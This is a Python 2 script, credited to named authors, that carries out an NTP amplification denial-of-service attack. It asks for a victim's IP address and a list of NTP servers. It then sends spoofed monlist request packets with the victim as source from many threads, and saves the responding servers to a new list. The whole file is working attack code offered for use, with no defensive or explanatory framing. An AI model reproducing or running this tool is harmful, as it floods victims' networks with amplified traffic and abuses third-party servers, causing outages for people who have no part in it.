NTP Amplification

#!/usr/bin/env python2

from scapy.all import *
import threading
import os
import sys
import socket


print  """
NTP Amplification DoS Attack
Programmed by: dotcppfile and Red Dragon
Twitter: https://twitter.com/dotcppfile
Twitter: https://twitter.com/mattybedds
Greetings: Team Prophetic
"""


#Data to send
ntpdata = "\x17\x00\x03\x2a" + "\x00" * 4
#...


#Used to hold the total number of packets sent
ps = 0
#...


#Gets the victim's Ip
victimsip = raw_input("> Victim's Ip Address: ")
#...


#Checks if the NTP servers list exists
filename = raw_input("> Your NTP Servers List: ")

fileexist = True
fileexist = os.path.exists(filename)
if fileexist == False:
    print "The File: " + filename + " doesn't Exist"
    sys.exit()
#...


#Gets the new name of the new NTP List
newlistsname = raw_input("> Name of your New List: ")
#...


#Gets number of packets to send to each NTP server
number = raw_input("> Number of Packets to Send: ")
#...


#Loads each line of the list in an Array
with open(filename, 'r') as f:
    myLinks = [line.strip() for line in f]
#...


#Checks for duplicates
newList = []
newList = list(set(myLinks)) 
newList.sort(key=myLinks.index)
#...


#Prints the list
print "\nList:"
for x in range(0, len(newList)):
    print "%s" % (newList[x])
#...


#Extra
print "\nInformation:"
newList2 = []
#...


#Multi Threading Class
class attack(threading.Thread):

    def __init__ (self, theserver):
        threading.Thread.__init__(self)
        self.theserver = theserver

    def run(self):
        global ps
        try:
            sendp(IP(dst=self.theserver,src=victimsip, ttl=(1,int(number)))/UDP(sport=48947,dport=123)/Raw(load=ntpdata))
            ps += int(number)
            newList2.append(self.theserver)
        except:
            print "Failed to send packets to %r" % self.theserver
#...


#Declares, starts, appends and waits for each thread to finish
threads = []
for j in newList:
    thread = attack(j)
    thread.start()
    threads.append(thread)

for thread in threads:
    thread.join()
#...


#Writing the working servers to newlistsname
with open(newlistsname, 'w') as f:
    for s in newList2:
        f.write(s + '\n')
#...


#Prints how many packets were sent
print "\n%d packets were sent." % ps
#...